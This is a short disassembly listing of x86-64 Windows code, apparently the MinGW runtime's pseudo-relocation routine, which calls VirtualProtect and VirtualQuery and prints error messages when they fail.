mov eax, 4
cmove r8d, eax
add rbx, qword [0x14002fba8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000e03e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000df00
nop dword [rax]
xor esi, esi
jmp 0x14000dfc8
mov rax, qword [0x14002fba8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000df00
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000df00
nop
nop word cs:[rax + rax]
nop dword [rax]